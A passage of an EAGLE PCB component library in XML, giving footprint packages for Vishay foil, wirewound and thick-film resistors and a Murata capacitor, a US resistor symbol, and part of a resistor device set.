y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<pad name=\"1\" x=\"-5.08\" y=\"0\" drill=\"1.1\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"5.08\" y=\"0\" drill=\"1.1\" shape=\"octagon\"/>\n<text x=\"-3.175\" y=\"1.905\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.175\" y=\"-0.635\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-4.26\" y1=\"-0.3048\" x2=\"-3.3075\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"3.2825\" y1=\"-0.3048\" x2=\"4.235\" y2=\"0.3048\" layer=\"21\"/>\n</package>\n<package name=\"VMTB60\">\n<description>&lt;b&gt;Bulk Metal® Foil Technology&lt;/b&gt;, Tubular Axial Lead Resistors, Meets or Exceeds MIL-R-39005 Requirements&lt;p&gt;\nMIL SIZE RNC60&lt;br&gt;\nSource: VISHAY .. vta56.pdf</description>\n<wire x1=\"-6.35\" y1=\"0\" x2=\"-5.585\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"4.6875\" y1=\"-1.95\" x2=\"4.6875\" y2=\"1.95\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.6875\" y1=\"1.95\" x2=\"-4.6875\" y2=\"1.95\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.6875\" y1=\"1.95\" x2=\"-4.6875\" y2=\"-1.95\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.6875\" y1=\"-1.95\" x2=\"4.6875\" y2=\"-1.95\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.585\" y1=\"0\" x2=\"6.35\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<pad name=\"1\" x=\"-6.35\" y=\"0\" drill=\"1.1\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"6.35\" y=\"0\" drill=\"1.1\" shape=\"octagon\"/>\n<text x=\"-4.445\" y=\"2.54\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-4.445\" y=\"-0.635\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-5.585\" y1=\"-0.3048\" x2=\"-4.6325\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"4.6325\" y1=\"-0.3048\" x2=\"5.585\" y2=\"0.3048\" layer=\"21\"/>\n</package>\n<package name=\"VTA52\">\n<description>&lt;b&gt;Bulk Metal® Foil Technology&lt;/b&gt;, Tubular Axial Lead Resistors, Meets or Exceeds MIL-R-39005 Requirements&lt;p&gt;\nMIL SIZE RBR52&lt;br&gt;\nSource: VISHAY .. vta56.pdf</description>\n<wire x1=\"-15.24\" y1=\"0\" x2=\"-13.97\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"12.6225\" y1=\"0.025\" x2=\"12.6225\" y2=\"4.725\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"12.6225\" y1=\"4.725\" x2=\"-12.6225\" y2=\"4.725\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-12.6225\" y1=\"4.725\" x2=\"-12.6225\" y2=\"0.025\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-12.6225\" y1=\"0.025\" x2=\"-12.6225\" y2=\"-4.65\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-12.6225\" y1=\"-4.65\" x2=\"12.6225\" y2=\"-4.65\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"12.6225\" y1=\"-4.65\" x2=\"12.6225\" y2=\"0.025\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"13.97\" y1=\"0\" x2=\"15.24\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<pad name=\"1\" x=\"-15.24\" y=\"0\" drill=\"1.1\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"15.24\" y=\"0\" drill=\"1.1\" shape=\"octagon\"/>\n<text x=\"-3.81\" y=\"5.08\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.175\" y=\"-0.635\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-13.97\" y1=\"-0.3048\" x2=\"-12.5675\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"12.5675\" y1=\"-0.3048\" x2=\"13.97\" y2=\"0.3048\" layer=\"21\"/>\n</package>\n<package name=\"VTA53\">\n<description>&lt;b&gt;Bulk Metal® Foil Technology&lt;/b&gt;, Tubular Axial Lead Resistors, Meets or Exceeds MIL-R-39005 Requirements&lt;p&gt;\nMIL SIZE RBR53&lt;br&gt;\nSource: VISHAY .. vta56.pdf</description>\n<wire x1=\"-12.065\" y1=\"0\" x2=\"-10.795\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"9.8975\" y1=\"0\" x2=\"9.8975\" y2=\"4.7\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.8975\" y1=\"4.7\" x2=\"-9.8975\" y2=\"4.7\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.8975\" y1=\"4.7\" x2=\"-9.8975\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.8975\" y1=\"0\" x2=\"-9.8975\" y2=\"-4.675\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.8975\" y1=\"-4.675\" x2=\"9.8975\" y2=\"-4.675\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.8975\" y1=\"-4.675\" x2=\"9.8975\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"10.795\" y1=\"0\" x2=\"12.065\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<pad name=\"1\" x=\"-12.065\" y=\"0\" drill=\"1.1\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"12.065\" y=\"0\" drill=\"1.1\" shape=\"octagon\"/>\n<text x=\"-3.81\" y=\"5.08\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.175\" y=\"-0.635\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-10.795\" y1=\"-0.3048\" x2=\"-9.8425\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"9.8425\" y1=\"-0.3048\" x2=\"10.795\" y2=\"0.3048\" layer=\"21\"/>\n</package>\n<package name=\"VTA54\">\n<description>&lt;b&gt;Bulk Metal® Foil Technology&lt;/b&gt;, Tubular Axial Lead Resistors, Meets or Exceeds MIL-R-39005 Requirements&lt;p&gt;\nMIL SIZE RBR54&lt;br&gt;\nSource: VISHAY .. vta56.pdf</description>\n<wire x1=\"-12.065\" y1=\"0\" x2=\"-10.795\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"9.8975\" y1=\"0\" x2=\"9.8975\" y2=\"3.3\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.8975\" y1=\"3.3\" x2=\"-9.8975\" y2=\"3.3\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.8975\" y1=\"3.3\" x2=\"-9.8975\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.8975\" y1=\"0\" x2=\"-9.8975\" y2=\"-3.3\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.8975\" y1=\"-3.3\" x2=\"9.8975\" y2=\"-3.3\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.8975\" y1=\"-3.3\" x2=\"9.8975\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"10.795\" y1=\"0\" x2=\"12.065\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<pad name=\"1\" x=\"-12.065\" y=\"0\" drill=\"1.1\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"12.065\" y=\"0\" drill=\"1.1\" shape=\"octagon\"/>\n<text x=\"-3.81\" y=\"3.81\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.175\" y=\"-0.635\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-10.795\" y1=\"-0.3048\" x2=\"-9.8425\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"9.8425\" y1=\"-0.3048\" x2=\"10.795\" y2=\"0.3048\" layer=\"21\"/>\n</package>\n<package name=\"VTA55\">\n<description>&lt;b&gt;Bulk Metal® Foil Technology&lt;/b&gt;, Tubular Axial Lead Resistors, Meets or Exceeds MIL-R-39005 Requirements&lt;p&gt;\nMIL SIZE RBR55&lt;br&gt;\nSource: VISHAY .. vta56.pdf</description>\n<wire x1=\"-8.255\" y1=\"0\" x2=\"-6.985\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"6.405\" y1=\"0\" x2=\"6.405\" y2=\"3.3\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.405\" y1=\"3.3\" x2=\"-6.405\" y2=\"3.3\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.405\" y1=\"3.3\" x2=\"-6.405\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.405\" y1=\"0\" x2=\"-6.405\" y2=\"-3.3\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.405\" y1=\"-3.3\" x2=\"6.405\" y2=\"-3.3\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.405\" y1=\"-3.3\" x2=\"6.405\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.985\" y1=\"0\" x2=\"8.255\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<pad name=\"1\" x=\"-8.255\" y=\"0\" drill=\"1.1\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"8.255\" y=\"0\" drill=\"1.1\" shape=\"octagon\"/>\n<text x=\"-3.81\" y=\"3.81\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.175\" y=\"-0.635\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-6.985\" y1=\"-0.3048\" x2=\"-6.35\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"6.35\" y1=\"-0.3048\" x2=\"6.985\" y2=\"0.3048\" layer=\"21\"/>\n</package>\n<package name=\"VTA56\">\n<description>&lt;b&gt;Bulk Metal® Foil Technology&lt;/b&gt;, Tubular Axial Lead Resistors, Meets or Exceeds MIL-R-39005 Requirements&lt;p&gt;\nMIL SIZE RBR56&lt;br&gt;\nSource: VISHAY .. vta56.pdf</description>\n<wire x1=\"-6.35\" y1=\"0\" x2=\"-5.08\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"4.5\" y1=\"0\" x2=\"4.5\" y2=\"3.3\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.5\" y1=\"3.3\" x2=\"-4.5\" y2=\"3.3\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.5\" y1=\"3.3\" x2=\"-4.5\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.5\" y1=\"0\" x2=\"-4.5\" y2=\"-3.3\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.5\" y1=\"-3.3\" x2=\"4.5\" y2=\"-3.3\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.5\" y1=\"-3.3\" x2=\"4.5\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"0\" x2=\"6.35\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<pad name=\"1\" x=\"-6.35\" y=\"0\" drill=\"1.1\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"6.35\" y=\"0\" drill=\"1.1\" shape=\"octagon\"/>\n<text x=\"-3.81\" y=\"3.81\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.175\" y=\"-0.635\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-5.08\" y1=\"-0.3048\" x2=\"-4.445\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"4.445\" y1=\"-0.3048\" x2=\"5.08\" y2=\"0.3048\" layer=\"21\"/>\n</package>\n<package name=\"R4527\">\n<description>&lt;b&gt;Package 4527&lt;/b&gt;&lt;p&gt;\nSource: http://www.vishay.com/docs/31059/wsrhigh.pdf</description>\n<wire x1=\"-5.675\" y1=\"-3.375\" x2=\"5.65\" y2=\"-3.375\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.65\" y1=\"-3.375\" x2=\"5.65\" y2=\"3.375\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.65\" y1=\"3.375\" x2=\"-5.675\" y2=\"3.375\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-5.675\" y1=\"3.375\" x2=\"-5.675\" y2=\"-3.375\" width=\"0.2032\" layer=\"51\"/>\n<smd name=\"1\" x=\"-4.575\" y=\"0\" dx=\"3.94\" dy=\"5.84\" layer=\"1\"/>\n<smd name=\"2\" x=\"4.575\" y=\"0\" dx=\"3.94\" dy=\"5.84\" layer=\"1\"/>\n<text x=\"-5.715\" y=\"3.81\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-5.715\" y=\"-5.08\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"WSC0001\">\n<description>&lt;b&gt;Wirewound Resistors, Precision Power&lt;/b&gt;&lt;p&gt;\nSource: VISHAY wscwsn.pdf</description>\n<wire x1=\"-3.075\" y1=\"1.8\" x2=\"-3.075\" y2=\"-1.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-3.075\" y1=\"-1.8\" x2=\"3.075\" y2=\"-1.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.075\" y1=\"-1.8\" x2=\"3.075\" y2=\"1.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"3.075\" y1=\"1.8\" x2=\"-3.075\" y2=\"1.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.075\" y1=\"1.8\" x2=\"-3.075\" y2=\"1.606\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.075\" y1=\"-1.606\" x2=\"-3.075\" y2=\"-1.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.075\" y1=\"1.606\" x2=\"3.075\" y2=\"1.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.075\" y1=\"-1.8\" x2=\"3.075\" y2=\"-1.606\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-2.675\" y=\"0\" dx=\"2.29\" dy=\"2.92\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.675\" y=\"0\" dx=\"2.29\" dy=\"2.92\" layer=\"1\"/>\n<text x=\"-2.544\" y=\"2.229\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.544\" y=\"-3.501\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"WSC0002\">\n<description>&lt;b&gt;Wirewound Resistors, Precision Power&lt;/b&gt;&lt;p&gt;\nSource: VISHAY wscwsn.pdf</description>\n<wire x1=\"-5.55\" y1=\"3.375\" x2=\"-5.55\" y2=\"-3.375\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-5.55\" y1=\"-3.375\" x2=\"5.55\" y2=\"-3.375\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.55\" y1=\"-3.375\" x2=\"5.55\" y2=\"3.375\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.55\" y1=\"3.375\" x2=\"-5.55\" y2=\"3.375\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-4.575\" y=\"0.025\" dx=\"3.94\" dy=\"5.84\" layer=\"1\"/>\n<smd name=\"2\" x=\"4.575\" y=\"0\" dx=\"3.94\" dy=\"5.84\" layer=\"1\"/>\n<text x=\"-5.65\" y=\"3.9\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-5.65\" y=\"-5.15\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"WSC01/2\">\n<description>&lt;b&gt;Wirewound Resistors, Precision Power&lt;/b&gt;&lt;p&gt;\nSource: VISHAY wscwsn.pdf</description>\n<wire x1=\"-2.45\" y1=\"1.475\" x2=\"-2.45\" y2=\"-1.475\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.45\" y1=\"-1.475\" x2=\"2.45\" y2=\"-1.475\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.45\" y1=\"-1.475\" x2=\"2.45\" y2=\"1.475\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2.45\" y1=\"1.475\" x2=\"-2.45\" y2=\"1.475\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.45\" y1=\"1.475\" x2=\"-2.45\" y2=\"1.106\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.45\" y1=\"-1.106\" x2=\"-2.45\" y2=\"-1.475\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.45\" y1=\"1.106\" x2=\"2.45\" y2=\"1.475\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.45\" y1=\"-1.475\" x2=\"2.45\" y2=\"-1.106\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-2.1\" y=\"0\" dx=\"2.16\" dy=\"1.78\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.1\" y=\"0\" dx=\"2.16\" dy=\"1.78\" layer=\"1\"/>\n<text x=\"-2.544\" y=\"1.904\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.544\" y=\"-3.176\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"WSC2515\">\n<description>&lt;b&gt;Wirewound Resistors, Precision Power&lt;/b&gt;&lt;p&gt;\nSource: VISHAY wscwsn.pdf</description>\n<wire x1=\"-3.075\" y1=\"1.8\" x2=\"-3.075\" y2=\"-1.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-3.075\" y1=\"-1.8\" x2=\"3.05\" y2=\"-1.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.05\" y1=\"-1.8\" x2=\"3.05\" y2=\"1.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"3.05\" y1=\"1.8\" x2=\"-3.075\" y2=\"1.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.075\" y1=\"1.8\" x2=\"-3.075\" y2=\"1.606\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.075\" y1=\"-1.606\" x2=\"-3.075\" y2=\"-1.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.05\" y1=\"1.606\" x2=\"3.05\" y2=\"1.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.05\" y1=\"-1.8\" x2=\"3.05\" y2=\"-1.606\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-2.675\" y=\"0\" dx=\"2.29\" dy=\"2.92\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.675\" y=\"0\" dx=\"2.29\" dy=\"2.92\" layer=\"1\"/>\n<text x=\"-3.2\" y=\"2.15\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-3.2\" y=\"-3.4\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"WSC4527\">\n<description>&lt;b&gt;Wirewound Resistors, Precision Power&lt;/b&gt;&lt;p&gt;\nSource: VISHAY wscwsn.pdf</description>\n<wire x1=\"-5.675\" y1=\"3.4\" x2=\"-5.675\" y2=\"-3.375\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-5.675\" y1=\"-3.375\" x2=\"5.675\" y2=\"-3.375\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.675\" y1=\"-3.375\" x2=\"5.675\" y2=\"3.4\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.675\" y1=\"3.4\" x2=\"-5.675\" y2=\"3.4\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-4.575\" y=\"0.025\" dx=\"3.94\" dy=\"5.84\" layer=\"1\"/>\n<smd name=\"2\" x=\"4.575\" y=\"0\" dx=\"3.94\" dy=\"5.84\" layer=\"1\"/>\n<text x=\"-5.775\" y=\"3.925\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-5.775\" y=\"-5.15\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"WSC6927\">\n<description>&lt;b&gt;Wirewound Resistors, Precision Power&lt;/b&gt;&lt;p&gt;\nSource: VISHAY wscwsn.pdf</description>\n<wire x1=\"-8.65\" y1=\"3.375\" x2=\"-8.65\" y2=\"-3.375\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-8.65\" y1=\"-3.375\" x2=\"8.65\" y2=\"-3.375\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"8.65\" y1=\"-3.375\" x2=\"8.65\" y2=\"3.375\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"8.65\" y1=\"3.375\" x2=\"-8.65\" y2=\"3.375\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-7.95\" y=\"0.025\" dx=\"3.94\" dy=\"5.97\" layer=\"1\"/>\n<smd name=\"2\" x=\"7.95\" y=\"0\" dx=\"3.94\" dy=\"5.97\" layer=\"1\"/>\n<text x=\"-8.75\" y=\"3.9\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-8.75\" y=\"-5.15\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"R1218\">\n<description>&lt;b&gt;CRCW1218 Thick Film, Rectangular Chip Resistors&lt;/b&gt;&lt;p&gt;\nSource: http://www.vishay.com .. dcrcw.pdf</description>\n<wire x1=\"-0.913\" y1=\"-2.219\" x2=\"0.939\" y2=\"-2.219\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.913\" y1=\"2.219\" x2=\"-0.939\" y2=\"2.219\" width=\"0.1524\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.475\" y=\"0\" dx=\"1.05\" dy=\"4.9\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.475\" y=\"0\" dx=\"1.05\" dy=\"4.9\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"2.54\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-3.81\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.651\" y1=\"-2.3\" x2=\"-0.9009\" y2=\"2.3\" layer=\"51\"/>\n<rectangle x1=\"0.9144\" y1=\"-2.3\" x2=\"1.6645\" y2=\"2.3\" layer=\"51\"/>\n</package>\n<package name=\"1812X7R\">\n<description>&lt;b&gt;Chip Monolithic Ceramic Capacitors&lt;/b&gt; Medium Voltage High Capacitance for General Use&lt;p&gt;\nSource: http://www.murata.com .. GRM43DR72E224KW01.pdf</description>\n<wire x1=\"-1.1\" y1=\"1.5\" x2=\"1.1\" y2=\"1.5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1.1\" y1=\"-1.5\" x2=\"-1.1\" y2=\"-1.5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-0.6\" y1=\"1.5\" x2=\"0.6\" y2=\"1.5\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.6\" y1=\"-1.5\" x2=\"-0.6\" y2=\"-1.5\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-1.425\" y=\"0\" dx=\"0.8\" dy=\"3.5\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.425\" y=\"0\" dx=\"0.8\" dy=\"3.5\" layer=\"1\" rot=\"R180\"/>\n<text x=\"-1.9456\" y=\"1.9958\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.9456\" y=\"-3.7738\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.4\" y1=\"-1.6\" x2=\"-1.1\" y2=\"1.6\" layer=\"51\"/>\n<rectangle x1=\"1.1\" y1=\"-1.6\" x2=\"1.4\" y2=\"1.6\" layer=\"51\" rot=\"R180\"/>\n</package>\n</packages>\n<symbols>\n<symbol name=\"R-US\">\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-2.159\" y2=\"1.016\" width=\"0.2032\" layer=\"94\"/>\n<wire x1=\"-2.159\" y1=\"1.016\" x2=\"-1.524\" y2=\"-1.016\" width=\"0.2032\" layer=\"94\"/>\n<wire x1=\"-1.524\" y1=\"-1.016\" x2=\"-0.889\" y2=\"1.016\" width=\"0.2032\" layer=\"94\"/>\n<wire x1=\"-0.889\" y1=\"1.016\" x2=\"-0.254\" y2=\"-1.016\" width=\"0.2032\" layer=\"94\"/>\n<wire x1=\"-0.254\" y1=\"-1.016\" x2=\"0.381\" y2=\"1.016\" width=\"0.2032\" layer=\"94\"/>\n<wire x1=\"0.381\" y1=\"1.016\" x2=\"1.016\" y2=\"-1.016\" width=\"0.2032\" layer=\"94\"/>\n<wire x1=\"1.016\" y1=\"-1.016\" x2=\"1.651\" y2=\"1.016\" width=\"0.2032\" layer=\"94\"/>\n<wire x1=\"1.651\" y1=\"1.016\" x2=\"2.286\" y2=\"-1.016\" width=\"0.2032\" layer=\"94\"/>\n<wire x1=\"2.286\" y1=\"-1.016\" x2=\"2.54\" y2=\"0\" width=\"0.2032\" layer=\"94\"/>\n<text x=\"-3.81\" y=\"1.4986\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"-3.81\" y=\"-3.302\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"2\" x=\"5.08\" y=\"0\" visible=\"off\" length=\"short\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"1\" x=\"-5.08\" y=\"0\" visible=\"off\" length=\"short\" direction=\"pas\" swaplevel=\"1\"/>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"R-US_\" prefix=\"R\" uservalue=\"yes\">\n<description>&lt;B&gt;RESISTOR&lt;/B&gt;, American symbol</description>\n<gates>\n<gate name=\"G$1\" symbol=\"R-US\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"R0402\" package=\"R0402\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R0603\" package=\"R0603\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R0805\" package=\"R0805\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R0805W\" package=\"R0805W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R1005\" package=\"R1005\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R1206\" package=\"R1206\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R1206W\" package=\"R1206W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R1210\" package=\"R1210\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R1210W\" package=\"R1210W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R2010\" package=\"R2010\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"R2010W\" package=\"R2010W\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" 